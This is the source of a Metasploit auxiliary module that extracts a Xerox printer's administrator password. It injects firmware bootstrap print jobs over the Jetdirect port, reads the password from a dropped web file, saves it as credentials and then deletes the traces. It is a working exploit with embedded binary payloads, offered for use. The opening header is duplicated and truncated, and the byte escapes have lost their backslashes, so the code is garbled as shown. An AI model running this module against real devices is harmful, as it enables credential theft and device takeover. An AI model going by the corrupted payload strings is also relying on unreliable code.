# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Aux ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Xerox Administrator Console Password Extractor',
'Description' => %q{
This module will extract the management console's admin password from the
Xerox file system using firmware bootstrap injection.
},
'Author' =>
[
'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi'
],
'License' => MSF_LICENSE
))
register_options(
[
OptPort.new('RPORT', [true, 'Web management console port for the printer', 80]),
OptPort.new('JPORT', [true, 'Jetdirect port', 9100]),
OptInt.new('TIMEOUT', [true, 'Timeout to wait for printer job to run', 45])
])
end
def jport
datastore['JPORT']
end
# Time to start the fun
def run
print_status("#{rhost}:#{jport} - Attempting to extract the web consoles admin password...")
return unless write
print_status("#{rhost}:#{jport} - Waiting #{datastore['TIMEOUT']} seconds...")
sleep(datastore['TIMEOUT'])
passwd = retrieve
remove
if passwd
print_good("#{rhost}:#{jport} - Password found: #{passwd}")
loot_name = 'xerox.password'
loot_type = 'text/plain'
loot_filename = 'xerox_password.text'
loot_desc = 'Xerox password harvester'
p = store_loot(loot_name, loot_type, datastore['RHOST'], passwd, loot_filename, loot_desc)
print_good("#{rhost}:#{jport} - Credentials saved in: #{p}")
register_creds('Xerox-HTTP', rhost, rport, 'Admin', passwd)
else
print_error("#{rhost}:#{jport} - No credentials extracted")
end
end
# Trigger firmware bootstrap write out password data to URL root
def write
print_status("#{rhost}:#{jport} - Sending print job")
create_print_job = '%%XRXbegin' + "x0a"
create_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "x0a"
create_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "x0a"
create_print_job << '%%OID_ATT_JOB_COMMENT ""' + "x0a"
create_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "x0a"
create_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "x0a"
create_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "x0a"
create_print_job << '%%OID_ATT_DLM_SIGNATURE "8ba01980993f55f5836bcc6775e9da90bc064e608bf878eab4d2f45dc2efca09"' + "x0a"
create_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "x0a"
create_print_job << '%%XRXend' + "x0ax1fx8b"
create_print_job << "x08x00x80xc3xf6x51x00x03xedxcfx3bx6exc3x30x0cx06"
create_print_job << "x60xcfx39x05xe3xcex31x25xa7x8exa7x06xe8x0dx72x05"
create_print_job << "x45x92x1fx43x2dx43x94x1bx07xc8xe1xabx16x28xd0xa9"
create_print_job << "x9dx82x22xc0xffx0dx24x41x72x20x57x1fxc3x5axc9x50"
create_print_job << "xdcx91xcaxdaxb6xf9xccxbax6dxd4xcfxfcxa5x56xaaxd0"
create_print_job << "x75x6ex35xcfxbaxd9xe7xbexd6x07xb5x2fx48xddxf3xa8"
create_print_job << "x6fx8bx24x13x89x8axd9x47xbbxfexb2xf7xd7xfcx41x3d"
create_print_job << "x6dxf9x3cx4ex7cx36x32x6cxacx49xc4xefx26x72x98x13"
create_print_job << "x4fx96x6dx98xbaxb1x67xf1x76x89x63xbax56xb6xebxe9"
create_print_job << "xd6x47x3fx53x29x57x79x75x6fxe3x74x32x22x97x10x1d"
create_print_job << "xbdx94x74xb3x4bxa2x9dx2bx73xb9xebx6ax3ax1ex89x17"
create_print_job << "x89x2cx83x89x9ex87x94x66x97xa3x0bx56xf8x14x8dx77"
create_print_job << "xa6x4ax6bxdaxfcxf7xffx00x00x00x00x00x00x00x00x00"
create_print_job << "x00x00x00x00x00x00x00x00x00x8fxeax03x34x66x0bxc1"
create_print_job << "x00x28x00x00"
begin
connect(true, 'RPORT' => jport)
sock.put(create_print_job)
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout
print_error("#{rhost}:#{jport} - Error connecting to #{rhost}")
ensure
disconnect
end
end
def retrieve
print_status("#{rhost}:#{jport} - Retrieving password from #{rhost}")
request = "GET /Praeda.txt HTTP/1.0 "
begin
connect
sock.put(request)
res = sock.get_once || ''
passwd = res.match(/ s(.+?) /)
return passwd ? passwd[1] : ''
rescue ::EOFError, ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, ::EOFError
print_error("#{rhost}:#{jport} - Error getting password from #{rhost}")
return
ensure
disconnect
end
end
# Trigger firmware bootstrap to delete the trace files and praeda.txt file from URL
def remove
print_status("#{rhost}:#{jport} - Removing print job")
remove_print_job = '%%XRXbegin' + "x0A"
remove_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "x0A"
remove_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "x0A"
remove_print_job << '%%OID_ATT_JOB_COMMENT ""' + "x0A"
remove_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "x0A"
remove_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "x0A"
remove_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "x0A"
remove_print_job << '%%OID_ATT_DLM_SIGNATURE "8b5d8c631ec21068211840697e332fbf719e6113bbcd8733c2fe9653b3d15491"' + "x0A"
remove_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "x0A"
remove_print_job << '%%XRXend' + "x0ax1fx8b"
remove_print_job << "x08x00x5dxc5xf6x51x00x03xedxd2xcdx0axc2x30x0cxc0"
remove_print_job << "xf1x9ex7dx8ax89x77xd3x6exd6xbdx86xafx50xb7xc1x04"
remove_print_job << "xf7x41xdbx41x1fxdfx6dx22x78xd2x93x88xf8xffx41x92"
remove_print_job << "x43x72x48x20xa9xf1x43xdax87x56x7dx90x9ex95xa5x5d"
remove_print_job << "xaax29xadx7exaex2bx93x1bx35x47x69xedx21x2fx0axa3"
remove_print_job << "xb4x31x47x6dx55xa6x3fxb9xd4xc3x14xa2xf3x59xa6xc6"
remove_print_job << "xc6x57xe9xc5xdcxbbxfex8fxdax6dxe5x7cxe9xe5xecx42"
remove_print_job << "xbbxf1x5dx26x53xf0x12x5axe7x1bx69x63x1cxebx39xd7"
remove_print_job << "x43x15xe4xe4x5dx53xbbx7dx4cx71x9dx1axc6x28x7dx25"
remove_print_job << "xf5xb5x0bx92x96x0fxbaxe7xf9x8fx36xdfx3ex08x00x00"
remove_print_job << "x00x00x00x00x00x00x00x00x00x00x00xfexc4x0dx40x0a"
remove_print_job << "x75xe1x00x28x00x00"
begin
connect(true, 'RPORT' => jport)
sock.put(remove_print_job)
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout
print_error("#{rhost}:#{jport} - Error removing print job from #{rhost}")
ensure
disconnect
end
end
def register_creds(service_name, remote_host, remote_port, username, password)
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
workspace_id: myworkspace_id,
private_data: password,
private_type: :password,
username: username
}
service_data = {
address: remote_host,
port: remote_port,
service_name: service_name,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end